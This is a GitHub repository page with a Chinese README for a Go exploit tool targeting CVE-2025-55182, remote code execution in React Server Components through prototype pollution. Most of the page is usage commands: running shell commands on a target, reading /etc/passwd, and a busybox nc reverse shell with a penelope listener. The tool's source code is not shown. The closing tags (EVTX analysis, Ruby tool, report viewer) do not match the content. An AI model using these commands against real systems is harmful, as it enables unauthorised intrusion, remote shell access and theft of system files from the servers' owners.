w3nch/CVE-2025-55182-in-go
GitHub: w3nch/CVE-2025-55182-in-go
针对 CVE-2025-55182 的 Go 语言漏洞利用工具，通过 React Server Components 的原型污染实现远程代码执行。
Stars: 0 | Forks: 0
# CVE-2025-55182 — React Server Components RCE
通过原型污染在 React Server Components 中实现 RCE 的漏洞利用。
## 用法
```
go run main.go -t -c
```
### 示例
```
go run main.go -t http://127.0.0.1 -c "id"
go run main.go -t http://127.0.0.1 -c "ls -la"
go run main.go -t http://127.0.0.1 -c "cat /etc/passwd"
```
### 反弹 shell
设置反弹 shell
```
penelope -i 0.0.0.0 -p 1337
```
使用 busybox：
```
go run main.go -t http://127.0.0.1 -c "busybox nc 127.0.0.1 1337 -e sh"
```
## 构建
```
go build -o exploit .
```
## 注意事项
- 如果缺少 scheme，会自动添加 HTTPS
- 命令输出在响应中会进行 base64 编码
- 特意禁用了重定向
标签：EVTX分析, Go, RCE, Ruby工具, Web报告查看器, 原型链污染, 安全, 日志审计, 超时处理